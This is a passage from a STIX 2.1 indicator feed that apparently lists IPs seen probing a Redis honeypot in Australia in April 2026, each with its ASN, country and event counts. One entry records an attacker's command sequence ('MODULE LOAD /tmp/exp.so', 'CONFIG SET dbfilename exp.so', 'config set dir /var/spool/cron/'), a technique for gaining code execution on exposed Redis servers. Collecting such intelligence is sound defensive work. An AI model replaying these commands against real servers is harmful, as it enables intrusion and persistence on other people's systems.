      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-22T22:25:10.000Z",
      "valid_until": "2026-05-24T22:25:09.000Z"
    },
    {
      "created": "2026-04-22T23:25:09.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=CN; asn=37963; asn_org=Hangzhou Alibaba Advertising Co.,Ltd.; redis_cmd_hits=0",
      "id": "indicator--19f1ddd7-1d03-4e27-80df-9b88e47bd397",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-04-22T23:25:09.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '8.142.178.14']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-22T23:25:09.000Z",
      "valid_until": "2026-05-24T23:25:08.000Z"
    },
    {
      "created": "2026-04-23T13:25:09.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=US; asn=63949; asn_org=Akamai Connected Cloud; redis_cmd_hits=0",
      "id": "indicator--d5a10eb8-9583-4924-b1c0-8e68d699e3e1",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-04-23T13:25:09.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '45.79.109.193']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-23T13:25:09.000Z",
      "valid_until": "2026-05-25T13:25:08.000Z"
    },
    {
      "created": "2026-04-23T14:25:11.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=CN; asn=55990; asn_org=Huawei Cloud Service data center; redis_cmd_hits=0",
      "id": "indicator--d5ae1c45-fb84-4309-8281-1de5e5bb17db",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-04-23T14:25:11.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '120.46.203.161']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-23T14:25:11.000Z",
      "valid_until": "2026-05-25T14:25:10.000Z"
    },
    {
      "created": "2026-04-23T14:25:11.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=40; ports=6379; cc=RU; asn=29182; asn_org=JSC IOT; redis_cmds=MODULE LOAD /tmp/exp.so,MODULE UNLOAD system,save,CONFIG SET dbfilename exp.so,config set dir /var/spool/cron/; redis_cmd_hits=0; cmd=\"SLAVEOF NO ONE\"",
      "id": "indicator--aaf4b383-8529-4a9e-8b32-23853686bf59",
      "labels": [
        "command_and_control"
      ],
      "modified": "2026-04-23T14:25:11.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '62.109.23.206']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-23T14:25:11.000Z",
      "valid_until": "2026-05-25T14:25:10.000Z"
    },
    {
      "created": "2026-04-23T14:25:11.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=26; ports=6379; cc=US; asn=6939; asn_org=Hurricane Electric LLC; redis_cmd_hits=0",
      "id": "indicator--48861b80-2455-458f-81ff-c2946c953bfd",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-23T14:25:11.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '74.82.47.2']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-23T14:25:11.000Z",
      "valid_until": "2026-05-25T14:25:10.000Z"
    },
    {
      "created": "2026-04-23T14:25:11.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=4; ports=6379; cc=US; asn=6939; asn_org=Hurricane Electric LLC; redis_cmd_hits=0",
      "id": "indicator--ba52f8a6-12ac-4343-8363-c85b781ce325",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-04-23T14:25:11.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '74.82.47.22']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-23T14:25:11.000Z",
      "valid_until": "2026-05-25T14:25:10.000Z"
    },
    {
      "created": "2026-04-23T14:25:11.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=6; ports=6379; cc=SG; asn=45102; asn_org=Alibaba US Technology Co., Ltd.; redis_cmd_hits=0",
      "id": "indicator--c4c3c8ab-d7c3-4a8b-81a1-3cad946a1f8a",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-04-23T14:25:11.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '8.219.79.215']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-23T14:25:11.000Z",
      "valid_until": "2026-05-25T14:25:10.000Z"
    },
    {
      "created": "2026-04-23T15:26:07.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=9; ports=6379; cc=US; asn=31898; asn_org=Oracle Corporation; redis_cmd_hits=0",
      "id": "indicator--769a4e9f-c632-43a8-9858-d7bc82ac805f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-23T15:26:07.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '170.9.225.197']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-23T15:26:07.000Z",
      "valid_until": "2026-05-25T15:25:11.000Z"
    },
    {
      "created": "2026-04-23T16:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=US; asn=213412; asn_org=ONYPHE SAS; redis_cmd_hits=0",
      "id": "indicator--ed938d28-aeb4-4795-abb9-d3fecb6e0bed",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-04-23T16:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '195.184.76.157']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-23T16:25:10.000Z",
      "valid_until": "2026-05-25T16:25:09.000Z"
    },
    {
      "created": "2026-04-23T16:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=13; ports=6379; cc=US; asn=213412; asn_org=ONYPHE SAS; cats=Generic Protocol Command Decode; redis_cmds=GET / HTTP/1.1; redis_cmd_hits=0",
      "id": "indicator--bd7fecb6-c751-47ac-993e-311f34407e33",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-23T16:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '91.230.168.242']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-23T16:25:10.000Z",
      "valid_until": "2026-05-25T16:25:09.000Z"
    },
    {
      "created": "2026-04-23T16:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=15; ports=6379; cc=US; asn=213412; asn_org=ONYPHE SAS; cats=Generic Protocol Command Decode; redis_cmd_hits=0",
      "id": "indicator--35d4394b-a21f-4845-a563-5651d7a403f3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-23T16:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '91.230.168.246']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-23T16:25:10.000Z",
      "valid_until": "2026-05-25T16:25:09.000Z"
    },
    {
      "created": "2026-04-23T18:25:17.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=FR; asn=213412; asn_org=ONYPHE SAS; redis_cmd_hits=0",
      "id": "indicator--406ccc66-5572-420f-a0e5-ef28ff6ca8a9",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-04-23T18:25:17.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '91.196.152.157']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-23T18:25:17.000Z",
      "valid_until": "2026-05-25T18:25:10.000Z"
    },
    {
      "created": "2026-04-23T18:25:17.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=14; ports=6379; cc=FR; asn=213412; asn_org=ONYPHE SAS; cats=Generic Protocol Command Decode; redis_cmd_hits=0",
      "id": "indicator--f19c1adc-b193-40f4-8cfe-fee245966909",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-23T18:25:17.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '91.196.152.60']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-23T18:25:17.000Z",
      "valid_until": "2026-05-25T18:25:10.000Z"
    },
    {
      "created": "2026-04-23T18:25:17.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=13; ports=6379; cc=FR; asn=213412; asn_org=ONYPHE SAS; cats=Generic Protocol Command Decode; redis_cmds=GET / HTTP/1.1; redis_cmd_hits=0",
      "id": "indicator--63ba1474-f56e-485c-a625-44bdd82d6931",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-23T18:25:17.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '91.196.152.84']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-23T18:25:17.000Z",
      "valid_until": "2026-05-25T18:25:10.000Z"
    },
    {
      "created": "2026-04-23T20:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=35; ports=6379; cc=SC; asn=49870; asn_org=Alsycon B.V.; cats=Generic Protocol Command Decode,Misc activity; redis_cmd_hits=0",
      "id": "indicator--129d9da4-2b5b-445a-966e-9646f930cd0f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-23T20:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '160.119.76.60']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-23T20:25:10.000Z",
      "valid_until": "2026-05-25T20:25:09.000Z"
    },
    {
      "created": "2026-04-23T20:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=12; ports=6379; cc=US; asn=398324; asn_org=Censys, Inc.; redis_cmd_hits=0",
      "id": "indicator--c9505ccd-2729-468c-b079-3e997ed5a662",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-23T20:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '66.132.172.181']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-23T20:25:10.000Z",
      "valid_until": "2026-05-25T20:25:09.000Z"
    },
    {
      "created": "2026-04-23T20:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=US; asn=398324; asn_org=Censys, Inc.; redis_cmd_hits=0",
      "id": "indicator--d72f5b2a-3791-4ee8-b09d-9ab49f2b8a63",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-04-23T20:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '66.132.224.29']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-23T20:25:10.000Z",
      "valid_until": "2026-05-25T20:25:09.000Z"
    },
    {
      "created": "2026-04-23T21:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=6; ports=6379; cc=US; asn=398324; asn_org=Censys, Inc.; redis_cmd_hits=0",
      "id": "indicator--97e5626f-e1e8-4b42-b3c2-301f5a0523ae",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-04-23T21:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '66.132.195.155']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-23T21:25:10.000Z",
      "valid_until": "2026-05-25T21:25:09.000Z"
    },
    {
      "created": "2026-04-23T22:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=17; ports=6379; cc=US; asn=8075; asn_org=Microsoft Corporation; redis_cmd_hits=0",
      "id": "indicator--8de0191e-b400-432a-a946-44c3b3dfd499",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-23T22:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '20.127.185.20']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-23T22:25:10.000Z",
      "valid_until": "2026-05-25T22:25:09.000Z"
    },
    {
      "created": "2026-04-23T23:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=9; ports=6379; cc=US; asn=396982; asn_org=Google LLC; cats=Generic Protocol Command Decode; redis_cmd_hits=0",
      "id": "indicator--06599d2f-34fa-48dc-9a4b-fa1ddc9b9b41",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-23T23:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '198.235.24.80']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-23T23:25:10.000Z",
      "valid_until": "2026-05-25T23:25:09.000Z"
    },
    {
      "created": "2026-04-24T00:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=12; ports=6379; cc=US; asn=398722; asn_org=Censys, Inc.; redis_cmd_hits=0",
      "id": "indicator--ecb38635-2ed4-4cc0-9561-e5a512cfbf07",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-24T00:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '199.45.155.95']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-24T00:25:10.000Z",
      "valid_until": "2026-05-26T00:25:09.000Z"
    },
    {
      "created": "2026-04-24T00:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=4; ports=6379; cc=US; asn=14061; asn_org=DigitalOcean, LLC; redis_cmd_hits=0",
      "id": "indicator--83044e5d-7667-417e-bc32-dedf80181634",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-04-24T00:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '68.183.109.132']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-24T00:25:10.000Z",
      "valid_until": "2026-05-26T00:25:09.000Z"
    },
    {
      "created": "2026-04-24T01:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=US; asn=14618; asn_org=Amazon.com, Inc.; redis_cmd_hits=0",
      "id": "indicator--59e82764-3c26-4632-9135-8213d9ade5fa",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-04-24T01:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '100.28.153.226']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-24T01:25:10.000Z",
      "valid_until": "2026-05-26T01:25:09.000Z"
    },
    {
      "created": "2026-04-24T02:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=16; ports=6379; cc=US; asn=8075; asn_org=Microsoft Corporation; redis_cmd_hits=0",
      "id": "indicator--f05e2fa3-f5cf-4bdf-a1da-9f3d0d147089",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-24T02:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '20.169.104.239']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-24T02:25:10.000Z",
      "valid_until": "2026-05-26T02:25:09.000Z"
    },
    {
      "created": "2026-04-24T09:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=15; ports=6379; cc=SC; asn=49870; asn_org=Alsycon B.V.; redis_cmd_hits=0",
      "id": "indicator--6ae49ffa-9a43-4da5-8539-f1ba4c750c43",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-24T09:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '160.119.76.40']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-24T09:25:10.000Z",
      "valid_until": "2026-05-26T09:25:09.000Z"
    },
    {
      "created": "2026-04-24T10:25:05.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=12; ports=6379; cc=CN; asn=45090; asn_org=Shenzhen Tencent Computer Systems Company Limited; cats=Generic Protocol Command Decode; redis_cmd_hits=0",
      "id": "indicator--e84caf7a-5abf-43ed-9b29-1a5159bcfdc0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-24T10:25:05.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '119.45.248.246']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-24T10:25:05.000Z",
      "valid_until": "2026-05-26T10:25:03.000Z"
    },
    {
      "created": "2026-04-24T10:25:05.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=CN; asn=38365; asn_org=Beijing Baidu Netcom Science and Technology Co., Ltd.; redis_cmd_hits=0",
      "id": "indicator--facbf742-016b-494a-91d6-62e5a68b7fef",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-04-24T10:25:05.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '120.48.2.240']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-24T10:25:05.000Z",
      "valid_until": "2026-05-26T10:25:03.000Z"
    },
    {
      "created": "2026-04-24T12:25:12.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=4; ports=6379; cc=US; asn=6939; asn_org=Hurricane Electric LLC; redis_cmd_hits=0",
      "id": "indicator--b2f7d184-9fba-4bc3-b183-a80eeebdbf16",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-04-24T12:25:12.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '184.105.247.244']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-24T12:25:12.000Z",
      "valid_until": "2026-05-26T12:25:09.000Z"
    },
    {
      "created": "2026-04-24T12:25:12.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=26; ports=6379; cc=US; asn=6939; asn_org=Hurricane Electric LLC; redis_cmd_hits=0",
      "id": "indicator--4342f417-5b97-434c-9414-1cc23c1f5724",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-24T12:25:12.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '184.105.247.254']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-24T12:25:12.000Z",
      "valid_until": "2026-05-26T12:25:09.000Z"
    },
    {
      "created": "2026-04-24T12:25:12.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=14; ports=6379; cc=US; asn=398324; asn_org=Censys, Inc.; redis_cmd_hits=0",
      "id": "indicator--63563ca8-48da-4d26-ac31-42185e8d58bc",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-24T12:25:12.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '66.132.172.134']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-24T12:25:12.000Z",
      "valid_until": "2026-05-26T12:25:09.000Z"
    },
    {
      "created": "2026-04-24T12:25:12.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=US; asn=398324; asn_org=Censys, Inc.; redis_cmd_hits=0",
      "id": "indicator--1156df52-d425-42ff-a3da-30ccc59c3bd9",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-04-24T12:25:12.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '66.132.186.250']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-24T12:25:12.000Z",
      "valid_until": "2026-05-26T12:25:09.000Z"
    },
    {
      "created": "2026-04-24T14:25:12.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=9; ports=6379; cc=NL; asn=136258; asn_org=BrainStorm Network, Inc; cats=Misc activity; redis_cmd_hits=0",
      "id": "indicator--f82ad02b-c6cd-4fae-ae7c-54074221149b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-24T14:25:12.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '109.104.154.181']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-24T14:25:12.000Z",
      "valid_until": "2026-05-26T14:25:09.000Z"
    },
    {
      "created": "2026-04-24T14:25:12.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=6; ports=6379; cc=BE; asn=396982; asn_org=Google LLC; redis_cmd_hits=0",
      "id": "indicator--a6810fdd-e052-448c-8a7a-24cab92ef510",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-04-24T14:25:12.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '35.233.68.173']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-24T14:25:12.000Z",
      "valid_until": "2026-05-26T14:25:09.000Z"
    },
    {
      "created": "2026-04-24T17:25:18.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=US; asn=14061; asn_org=DigitalOcean, LLC; redis_cmd_hits=0",
      "id": "indicator--c7a8c932-2c40-42e3-8594-6d6344c45ebe",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-04-24T17:25:18.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '159.223.125.170']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-24T17:25:18.000Z",
      "valid_until": "2026-05-26T17:25:17.000Z"
    },
    {
      "created": "2026-04-24T20:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=56; ports=6379; cc=US; asn=135377; asn_org=UCLOUD INFORMATION TECHNOLOGY HK LIMITED; cats=Generic Protocol Command Decode; redis_cmd_hits=0",
      "id": "indicator--f2f65194-37da-47b3-b3d0-c4ce09c9c6ac",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-24T20:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '165.154.182.207']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-24T20:25:10.000Z",
      "valid_until": "2026-05-26T20:25:09.000Z"
    },
    {
      "created": "2026-04-24T20:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=6; ports=6379; cc=US; asn=398324; asn_org=Censys, Inc.; redis_cmd_hits=0",
      "id": "indicator--339495d8-9d1f-4805-8a66-92167febc1c7",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-04-24T20:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '66.132.172.225']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-24T20:25:10.000Z",
      "valid_until": "2026-05-26T20:25:09.000Z"
    },
    {
      "created": "2026-04-24T20:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=12; ports=6379; cc=US; asn=398324; asn_org=Censys, Inc.; redis_cmd_hits=0",
      "id": "indicator--f1f9789b-86a1-4a2c-bb31-146c3f650182",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-24T20:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '66.132.195.89']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-24T20:25:10.000Z",
      "valid_until": "2026-05-26T20:25:09.000Z"
    },
    {
      "created": "2026-04-24T20:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=14; ports=6379; cc=US; asn=213412; asn_org=ONYPHE SAS; cats=Generic Protocol Command Decode; redis_cmd_hits=0",
      "id": "indicator--02233260-9932-4056-b92c-67fcac37ef9a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-24T20:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '91.230.168.172']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-24T20:25:10.000Z",
      "valid_until": "2026-05-26T20:25:09.000Z"
    },
    {
      "created": "2026-04-24T20:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=13; ports=6379; cc=US; asn=213412; asn_org=ONYPHE SAS; cats=Generic Protocol Command Decode; redis_cmds=GET / HTTP/1.1; redis_cmd_hits=0",
      "id": "indicator--a10c8c6c-87be-4328-9c7c-dffdb722d5ca",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-24T20:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '91.230.168.173']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
